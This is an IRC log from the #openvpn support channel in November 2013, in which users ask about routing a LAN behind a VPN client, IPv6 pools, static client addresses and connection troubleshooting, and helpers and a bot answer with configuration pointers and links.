15:26 -!- NP-Hardass [~adam@unaffiliated/np-hardass] has joined #openvpn
15:27 -!- NP-Hardass [~adam@unaffiliated/np-hardass] has left #openvpn []
15:28 -!- KaiForce [~chatzilla@107-223-70-10.lightspeed.bcvloh.sbcglobal.net] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 25.0.1/20131112160018]]
15:36 <@krzee> !dazo
15:36 <@vpnHelper> "dazo" is The project name krzee always forgets .... eurephia ... http://www.eurephia.net/
15:36 <@krzee> :D lol
15:37 <@krzee> at least i remember who to give credit to! ;]
15:42 <@dazo> hehe
15:42  * dazo heads home
15:42 -!- speed_racer81 [~speed_rac@h120.191.213.151.dynamic.ip.windstream.net] has joined #openvpn
15:43 -!- dazo is now known as dazo_afk
15:46 -!- speed_racer84 [~speed_rac@h120.191.213.151.dynamic.ip.windstream.net] has quit [Ping timeout: 264 seconds]
15:47 < FriedZombie> hmm eurephia, sounds like a mistical place somehow :)
15:47 -!- speed_racer81 [~speed_rac@h120.191.213.151.dynamic.ip.windstream.net] has quit [Ping timeout: 246 seconds]
15:48 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
15:50 -!- corretico_ [~luis@190.241.180.58] has joined #openvpn
15:52 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
16:05 -!- danfromuk [~IceChat77@unaffiliated/danfromuk] has quit [Quit: Some folks are wise, and some otherwise.]
16:05 < acu> !clientlan
16:05 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see
16:05 <@vpnHelper> !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
16:09 < acu> OK - the Windows XP OpenVPN GUI - is connecting to the OpenVPN server and I can map a share there - the Client Machine has only one NIC - however I still need to enable IP forwarding (I guess I should mess with regedit)
16:10 <+pekster> Use the OS that you work best with, but in general Windows makes an awful routing platform, especially anything without the IAS services (server/enterprise stuff)
16:11 < acu> pekster: I am most confortable with Linux Debian - however, I do not know how easy it will be to configure the client (the OpenVPN server runs in a Linux- Server)
16:11 <+pekster> That, or grab yourself a tiny Linux/BSD distro and run it with something like 64M of RAM
16:16 -!- Guest81204 [~Mark@94-193-78-219.zone7.bethere.co.uk] has left #openvpn []
16:19 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
16:20 < acu> OK - so IP forwarding is enabled - next Server needs a route to the lan (to the LAN behind the server ?) or LAN behind the client ?
16:21 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has joined #openvpn
16:21 < acu> The server needs to push a route for the lan to Clients (Lan behind the server) - clients be lets say a client with LAN behind ?
16:22 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:23 -!- Denial [Denial@2.223.161.125] has quit []
16:24 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
16:25 < acu> a bit incredible stupid (but elementary questions) the computers in the LAN behind the client - do they need anything ? if yes what ?
16:37 <+pekster> That's why there's a step-by-step flowchart to assist
16:41 <@krzee> yep, exactly why
16:48 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Ping timeout: 272 seconds]
16:52 -!- acu [~acu@adsl-108-86-28-12.dsl.emhril.sbcglobal.net] has quit [Quit: Leaving]
16:57 -!- Chrisje [meta@2a03:f80:ed15:ed15:ed15:ed15:bc4c:4bfe] has quit [Quit: ZNC - http://znc.sourceforge.net]
17:00 -!- FriedZombie_ [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has joined #openvpn
17:00 -!- JackWinter [~jack@vodsl-9189.vo.lu] has quit [Quit: Konversation terminated!]
17:01 -!- Chrisje [meta@2a03:f80:ed15:ed15:ed15:ed15:bc4c:4bfe] has joined #openvpn
17:01 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has quit [Ping timeout: 252 seconds]
17:02 -!- JackWinter [~jack@vodsl-9189.vo.lu] has joined #openvpn
17:07 -!- acu [~acu@adsl-108-86-28-12.dsl.emhril.sbcglobal.net] has joined #openvpn
17:11 -!- Kuba [~jakub@unaffiliated/kuba] has quit [Read error: Connection reset by peer]
17:11 -!- Kuba [~jakub@unaffiliated/kuba] has joined #openvpn
17:32 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 264 seconds]
17:55 -!- Devastator [~devas@unaffiliated/devastator] has quit [Remote host closed the connection]
17:55 -!- Devastator [~devas@177.18.198.66] has joined #openvpn
17:55 -!- Devastator [~devas@177.18.198.66] has quit [Changing host]
17:55 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
18:01 -!- acu [~acu@adsl-108-86-28-12.dsl.emhril.sbcglobal.net] has quit [Read error: Connection reset by peer]
18:16 -!- acu [~acu@adsl-99-24-230-193.dsl.emhril.sbcglobal.net] has joined #openvpn
18:23 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 245 seconds]
19:09 -!- `Ile` [~ile@178-221-159-17.dynamic.isp.telekom.rs] has quit [Quit: Lost terminal]
19:11 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
19:27 -!- michaelhart [~michaelha@162.209.54.120] has quit [Quit: michaelhart]
19:38 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
19:42 -!- debbie10t [~ma1com10t@host-92-20-11-49.as13285.net] has joined #openvpn
19:50 -!- pclov3r [~pclov3r@unaffiliated/pclov3r] has joined #openvpn
19:51 < pclov3r> Any idea on the best way to setup dual stacking with openvpn/
19:51 < pclov3r> or a link to a wiki on it
19:51 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
19:55 < pclov3r> i wonder what the best way to apporach it is
19:55 < pclov3r> I was kinda hoping there was a way to setup an ipv6 range as how it works as ipv4
20:06 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 240 seconds]
20:11 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
20:12 <@krzee> !ipv6
20:12 <@vpnHelper> "ipv6" is (#1) The wiki has IPv6 details: https://community.openvpn.net/openvpn/wiki/IPv6 or (#2) The manpage contains info about IPv6 features present in 2.3+: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAQ
20:12 <@krzee> basically in 2.3 you just define both pools
20:19 -!- Semor [~Semor@218.106.182.104] has joined #openvpn
20:19 < Semor> how could I setup openvpn on linux ?
20:19 < EugeneKay> !howto
20:19 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
20:22 < pclov3r> krzee, Thanks that what i was hoping for
20:23 -!- kirin` [telex@gateway/shell/anapnea.net/x-afzeneoihnsxosym] has quit [Ping timeout: 246 seconds]
20:26 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
20:27 < pclov3r> so i need to obtain a sperate /64
20:27 < pclov3r> i guess is suggested
20:28 < Semor> could I setup vpn in a local  shared subnet  ?
20:30 < pclov3r> so is SLAAC used to give the client an ip/
20:32 < Semor> what is a openvpn server ?
20:37 <@krzee> !vpn
20:37 <@vpnHelper> "vpn" is http://openvpn.net/index.php/open-source/faq/75-general/293-what-is-the-principle-behind-openvpn-tunnels.html for a basic rundown of what a vpn is
20:38 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
20:38 < debbie10t> slow day ;)
20:50 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has quit [Quit: gone]
21:02 -!- james41382 [~james@unaffiliated/james41382] has quit [Quit: Leaving]
21:10 -!- kirin` [telex@gateway/shell/anapnea.net/x-fgxeiscgpajagdnd] has joined #openvpn
21:16 < acu> OK - I made a debian linux openvpn client and connect to the OpenVPN server - and to a samba share in the same physical machine as the server- it is coool!
21:16 < acu> however
21:16 < acu> !clientlan
21:16 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see
21:16 <@vpnHelper> !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
21:18 < acu> does not tell me exactly what do I need in the machines "behind" the Client-Remote-VPN ---- bottom line I have a linux client on the remote site - and I want the 5 windows machines to access the OpenVPN server - and do not know what do I need in the LAN computers behind the client
21:18 < acu> I have IP forwarding enabled
21:20 < acu> in other words - what the machines in clientlan need ? (of course it seem the client options are spelled out)
21:31 -!- ses1984 [~stachursk@c-68-46-148-31.hsd1.pa.comcast.net] has joined #openvpn
21:31 < ses1984> !welcome
21:31 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder
21:31 <@vpnHelper> !sample !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
21:32 < ses1984> !goal
21:32 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
21:44 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
21:57 < ses1984> i'm trying to troubleshoot the first client connection to a new server
21:58 < ses1984> i'm using the windows desktop client. i downloaded the .ovpn profile and loaded it in the desktop client, it's stuck on connecting
21:58 < ses1984> i have port 1194 like specified in the profile forwarded to the server on the firewall that it sits behind
21:58 < acu> yes - goal are cool - I was "lucky" I have both - windows and linux clients connect to server - however I am trying to figure out what do I need to make the computers in the LAN which is behind the client
21:59 < ses1984> i have windows firewall disabled
21:59 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has quit [Ping timeout: 252 seconds]
22:00 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
22:00 < acu> ses1984, you need six files (based on what I gather: yourclient.conf  yourclinet.crt yourclient.key yourclient.opvpn ca.crt dh2048.pem
22:00 < acu> they have to be placed into the programfiles/openvpn/config
22:01 < acu> then you pray
22:01 < debbie10t> ses1984: are you using the connect app for openvpn access server ?
22:02 < ses1984> i dont think i'm using the connect app
22:02 < acu> ses1984, I should have made sure - do you use OpenVPN GUI ? What OS do you use ?
22:02 < ses1984> i'm using openvpn desktop client download for windows, enabling users to securely connect using desktop application
22:03 < ses1984> acu i only got the ovpn file from the server, whoops
22:03 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
22:03 < ses1984> well, the windows desktop client is now telling me i'm connected, but i see nothing on the server log or any activity in netstat
22:03 < acu> ses1984, probably I am the newest in OpenVPN so listen to others - mine works - I added those files
22:04 < ses1984> and it makes no sense that it would say connected when i dont have any key files. it looks like the key files are embedded in the ovpn file
22:04 < acu> by the way - I use Windows XP (somehow the OpenVPN GUI did not install in Windows 8 ----- also I made it as client in Debian Gnu/Linux version 7.2 0-
22:05 < acu> I just want to know how to configure the client such that the machines in the lan would connect through the client to the server -
22:05 < acu> that is a mouthful
22:05 < EugeneKay> !clientlan
22:05 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2)
22:05 < ses1984> acu it sounds like you want a site to site connection?
22:05 <@vpnHelper> see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
22:06 < acu> kind of - I do not need the computers in the LAN behind the client to go more than the OpenVPN server (the box has also a samba) - so I will be happy with that
22:07 < acu> I have :
22:07 < acu> IP forwarding enabled
22:07 < debbie10t> on the client aswel as the server ?
22:07 < debbie10t> http://openvpn.net/index.php/open-source/documentation/howto.html#scope
22:07 <@vpnHelper> Title: HOWTO (at openvpn.net)
22:08 < acu> push route 192.168.100.0 (that is the LAN behind the server - though I do not care ) since server has 10.whatever = and the share is in the same machine
22:08 < acu> debbie I did it on both
22:09 < acu> I need to know what do I need to install and configure in the LAN computers (that are behind the CLIENT)
22:10 < debbie10t> add routing
22:10 < debbie10t> add route to the client and client gateway
22:11 < debbie10t> for the vpn
22:11 < debbie10t> so they know which machine is the vpn client
22:13 < acu> debie - so I need a LAN TAP-Windows Adapter ?
22:13 < acu> and configure that with manual settings
22:13 < debbie10t> no
22:14 < acu> OK - so I go to the normal LAN card - and add alternate configuration ?
22:15 < debbie10t> the router on the lan in the client side needs to have a route to the client for the vpn
22:16 < acu> oh - so it is the router that gives the normal DHCP addresses to the LAN machines - that router needs to be configured
22:16 < acu> I see
22:16 < debbie10t> http://openvpn.net/index.php/open-source/documentation/howto.html#scope
22:16 <@vpnHelper> Title: HOWTO (at openvpn.net)
22:17 < debbie10t> Read that .. very carefully
22:17 < acu> so when the machine boots up - gets from the DHCP/router - two networks - one for LAN one for the OpenVPN through the client
22:17 < debbie10t> no
22:17 < debbie10t> the client lan router has a route to the openvpn client
22:18 < debbie10t> which you must add manually
22:19 < acu> I bookmarked it - got it before did not read it "CAREFULLY :) "
22:19 < acu> I will read it now - just need to get some Caffeine for extra umf
22:19 < acu> oomph ?
22:19 < debbie10t> now would be a good time to read it
22:54 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
23:01 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
23:02 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
23:20 -!- debbie10t [~ma1com10t@host-92-20-11-49.as13285.net] has left #openvpn []
23:34 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 265 seconds]
--- Day changed Fri Nov 22 2013
00:07 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:21 < Semor> Should the opendpv client and server are at the same local network?
00:36 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Quit: you see it's not the blood you spill that gets you what you want. it's the blood you share. your family. your friendships. your community. these are the most valuable things a man can have.]
00:46 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
00:53 -!- acu [~acu@adsl-99-24-230-193.dsl.emhril.sbcglobal.net] has quit [Ping timeout: 245 seconds]
00:53 -!- james41382 [~james@c-24-17-231-12.hsd1.wa.comcast.net] has joined #openvpn
00:53 -!- james41382 [~james@c-24-17-231-12.hsd1.wa.comcast.net] has quit [Changing host]
00:53 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
01:01 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 272 seconds]
01:05 -!- acu [~acu@adsl-99-24-230-193.dsl.emhril.sbcglobal.net] has joined #openvpn
01:06 -!- Carbon_Monoxide [~cmonxide@14.0.143.46] has joined #openvpn
01:15 -!- pclov3r [~pclov3r@unaffiliated/pclov3r] has left #openvpn ["Leaving"]
01:23 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has joined #openvpn
01:29 -!- Carbon_Monoxide [~cmonxide@14.0.143.46] has left #openvpn ["Leaving"]
01:34 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
01:36 -!- mete [~mete@mete.shell.la] has quit [Quit: .]
02:08 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
02:21 -!- sep [~sep@40.211.jostedal.no] has joined #openvpn
02:36 -!- acu [~acu@adsl-99-24-230-193.dsl.emhril.sbcglobal.net] has quit [Read error: Operation timed out]
02:39 -!- car [~car@pd95cfe54.dip0.t-ipconnect.de] has joined #openvpn
02:49 -!- acu [~acu@adsl-108-199-76-220.dsl.emhril.sbcglobal.net] has joined #openvpn
02:58 -!- stemid [~avatar@ns4.sydit.se] has left #openvpn []
03:19 -!- dazo_afk is now known as dazo
03:20 -!- svparijs_afk is now known as svparijs
03:46 -!- acu [~acu@adsl-108-199-76-220.dsl.emhril.sbcglobal.net] has quit [Ping timeout: 248 seconds]
03:58 -!- acu [~acu@108.66.57.222] has joined #openvpn
04:06 -!- svparijs is now known as svparijs_afk
04:26 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 264 seconds]
04:28 -!- takamichi [~takamichi@206.190.145.93] has joined #openvpn
04:31 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has joined #openvpn
04:35 -!- FriedZombie_ [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has quit [Ping timeout: 272 seconds]
04:39 -!- u0m3 [~u0m3@92.80.86.178] has quit [Ping timeout: 245 seconds]
04:42 -!- acu [~acu@108.66.57.222] has quit [Quit: Leaving]
04:48 -!- u0m3 [~u0m3@109.96.171.166] has joined #openvpn
04:51 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
04:53 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
04:56 -!- takamichi [~takamichi@206.190.145.93] has quit [Ping timeout: 248 seconds]
04:56 -!- Denial [Denial@2.223.161.125] has joined #openvpn
05:00 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
05:02 -!- ade_b [~Ade@dslb-178-000-110-071.pools.arcor-ip.net] has joined #openvpn
05:02 -!- ade_b [~Ade@dslb-178-000-110-071.pools.arcor-ip.net] has quit [Changing host]
05:02 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
05:16 -!- itpings [~itpings@89.218.38.200] has joined #openvpn
05:16 < itpings> hi all
05:19 -!- NET||abuse [~luke@86.6.148.64] has left #openvpn ["WeeChat 0.3.8"]
05:19 < FriedZombie> hey itpings
05:20 < itpings> how you doing Fried
05:22 < FriedZombie> Coding some boring php related stuff, otherwise fine
05:22 < itpings> hmm
05:23 < itpings> i am stuck with voip
05:23 < itpings> just solved the ipsec linux vpn
05:27 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
05:38 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Remote host closed the connection]
05:40 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
05:43 -!- XPMUser [~XPMUser@115.114.129.115] has joined #openvpn
05:44 < XPMUser> hi.. i configured  openvpn and it is working fine.. But on the client machine. there is a problem with subnet mask
05:44 < XPMUser> Not sure.. where it is getting the information from..But i beilive its wrong.. Can some one assist on this
05:45 < XPMUser> Can some one please reply on this ?
05:50 -!- vvinothkumar [~vinothkum@122.178.200.210] has joined #openvpn
05:53 < sep> XPMUser, nobody can know if they can assist you since you have not provided any useful details. write more detailed, read the topic, use a pastebin, and describe the problem. "i belive it's wrong" does not explain it enough
05:56 -!- XPMUser [~XPMUser@115.114.129.115] has quit [Ping timeout: 246 seconds]
05:56 -!- XPMUser [~XPMUser@203.217.147.252] has joined #openvpn
05:57 < vvinothkumar> When I try dialing openvpn udp tunnel in arm board, i get the following. I dialed four openvpn connection, two connected successfully and two terminated with SIGTERM. Logs here http://pastebin.com/wupmq9TQ
05:57 -!- XPMUser [~XPMUser@203.217.147.252] has quit [Client Quit]
06:06 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has quit [Changing host]
06:06 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has joined #openvpn
06:06 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 240 seconds]
06:11 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Ping timeout: 240 seconds]
06:14 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
06:16 -!- ixio [~ixio2@host81-142-62-169.in-addr.btopenworld.com] has joined #openvpn
06:17 < ixio> hello, how would I go ahead configuring openvpn so that a certain client always get the same IP address?
06:22 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
06:27 < plaisthos> ixio: see client-config-dir and ifconfig-pool-persist
06:28 -!- SlutaTramsa [~SlutaTram@unaffiliated/slutatramsa] has quit [Ping timeout: 272 seconds]
06:28 -!- FriedZombie_ [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has joined #openvpn
06:29 -!- newbie|6 [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has joined #openvpn
06:31 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has quit [Ping timeout: 245 seconds]
06:32 -!- FriedZombie_ [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has quit [Ping timeout: 245 seconds]
06:33 -!- SlutaTramsa [~SlutaTram@2a00:1a28:1251:178:73:210:61:1] has joined #openvpn
06:33 -!- SlutaTramsa [~SlutaTram@2a00:1a28:1251:178:73:210:61:1] has quit [Changing host]
06:33 -!- SlutaTramsa [~SlutaTram@unaffiliated/slutatramsa] has joined #openvpn
06:36 -!- newbie|6 is now known as FriedZombie
06:36 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has quit [Changing host]
06:36 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has joined #openvpn
06:40 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has joined #openvpn
06:40 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has left #openvpn []
06:41 -!- gekko_ [~jjk@dev.pro-it.dk] has quit [Quit: Ex-Chat]
06:44 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has quit [Read error: Connection reset by peer]
06:45 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
06:46 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
06:47 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
06:53 -!- JackWinter [~jack@vodsl-9189.vo.lu] has quit [Quit: Konversation terminated!]
06:53 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has joined #openvpn
06:54 -!- JackWinter [~jack@vodsl-9189.vo.lu] has joined #openvpn
07:00 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
07:01 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
07:05 -!- Chrisje [meta@2a03:f80:ed15:ed15:ed15:ed15:bc4c:4bfe] has quit [Quit: ZNC - http://znc.sourceforge.net]
07:08 -!- piece3 [~quassel@14.161.15.21] has joined #openvpn
07:10 -!- mete [~mete@mete.shell.la] has joined #openvpn
07:14 -!- Chrisje [meta@2a03:f80:ed15:ed15:ed15:ed15:bc4c:4bfe] has joined #openvpn
07:25 -!- JackWinter_ [~jack@vodsl-9189.vo.lu] has joined #openvpn
07:26 -!- JackWinter_ is now known as JackWinter1
07:26 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 240 seconds]
07:27 -!- JackWinter [~jack@vodsl-9189.vo.lu] has quit [Ping timeout: 272 seconds]
07:27 -!- JackWinter1 is now known as JackWinter
07:27 -!- JackWinter [~jack@vodsl-9189.vo.lu] has quit [Client Quit]
07:28 -!- JackWinter [~jack@vodsl-9189.vo.lu] has joined #openvpn
07:32 -!- natsukao [~natsukao@dynamic-adsl-94-37-153-251.clienti.tiscali.it] has joined #openvpn
07:32 < natsukao> hi
07:32 < natsukao> i installed from command line openvpn
07:33 < natsukao> how starting to use it under GNU/linux ?
07:35 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
07:36 -!- michaelhart [~michaelha@192.237.177.15] has joined #openvpn
07:39 -!- svparijs_afk is now known as svparijs
07:40 -!- FriedZombie_ [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has joined #openvpn
07:40 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
07:43 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has quit [Ping timeout: 265 seconds]
07:44 -!- FriedZombie_ [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has quit [Ping timeout: 264 seconds]
07:47 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has joined #openvpn
07:48 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
07:52 -!- FriedZombie_ [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has joined #openvpn
07:55 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has quit [Ping timeout: 248 seconds]
07:56 -!- FriedZombie_ is now known as FriedZombie
07:56 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has quit [Changing host]
07:56 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has joined #openvpn
07:59 -!- FriedZombie_ [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has joined #openvpn
08:02 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has quit [Disconnected by services]
08:03 -!- FriedZombie_ is now known as FriedZombie
08:03 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has quit [Changing host]
08:03 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has joined #openvpn
08:11 -!- itpings [~itpings@89.218.38.200] has quit [Remote host closed the connection]
08:16 -!- FriedZombie_ [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has joined #openvpn
08:18 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has quit [Disconnected by services]
08:19 -!- FriedZombie_ is now known as FriedZombie
08:19 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has quit [Changing host]
08:19 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has joined #openvpn
08:21 -!- FriedZombie_ [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has joined #openvpn
08:21 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has quit [Disconnected by services]
08:24 -!- FriedZombie_ is now known as FriedZombie
08:24 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has quit [Changing host]
08:24 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has joined #openvpn
08:25 -!- Chrisje [meta@2a03:f80:ed15:ed15:ed15:ed15:bc4c:4bfe] has quit [Quit: ZNC - http://znc.sourceforge.net]
08:25 -!- FriedZombie_ [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has joined #openvpn
08:25 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has quit [Disconnected by services]
08:27 -!- FriedZombie_ is now known as FriedZombie
08:27 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has quit [Changing host]
08:27 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has joined #openvpn
08:35 -!- FriedZombie_ [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has joined #openvpn
08:35 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has quit [Disconnected by services]
08:35 -!- FriedZombie_ is now known as FriedZombie
08:35 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has quit [Changing host]
08:35 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has joined #openvpn
08:38 -!- Chrisje [meta@2a03:f80:ed15:ed15:ed15:ed15:bc4c:4bfe] has joined #openvpn
08:38 -!- FriedZombie_ [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has joined #openvpn
08:38 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has quit [Disconnected by services]
08:38 -!- FriedZombie_ is now known as FriedZombie
08:38 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has quit [Changing host]
08:38 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has joined #openvpn
08:44 -!- ses1984 [~stachursk@c-68-46-148-31.hsd1.pa.comcast.net] has quit [Remote host closed the connection]
08:48 -!- Kuba [~jakub@unaffiliated/kuba] has quit [Read error: Connection reset by peer]
08:48 -!- Kuba [~jakub@unaffiliated/kuba] has joined #openvpn
08:51 -!- rapha [~rapha@unaffiliated/rapha] has joined #openvpn
08:51 < rapha> hi!
08:52 < Fohlen> o/
08:52 < rapha> if openvpn routing stops working after a restart of the server machine, without any error or warning messages in the logs, how can you get to the bottom of the cause?
08:52 < rapha> (the clients can connect just fine, but they can't ping anything, not even the server's public ip address)
08:52 < Fohlen> probably change error level at first
08:52 < Fohlen> :)
08:52 < Aketzu_> ip forwarding isn't probably enabled
08:53 < rapha> Aketzu_: nah, checked that first. ip forwarding is 1.
08:53 < rapha> but changing log level sounds like a good idea.
08:53 < Fohlen> maybe it happens you rebooted your system and forgot to re-load your iptables?
08:53 < Fohlen> *rules
08:54 -!- FriedZombie is now known as FriedZombie_
08:54 < Fohlen> also you should check if additional services (like dhcp) are working propper? For me it happens that dnsmasq keeps halted after a restart
08:55 -!- FriedZombie_ is now known as FriedZombie
08:55 < Fohlen> so dns is down after restart on my server
08:55 < Fohlen> ^^
08:55 < rapha> Fohlen: the system did reboot after a powerout. not using DHCP (static ip) so that's not the cause.
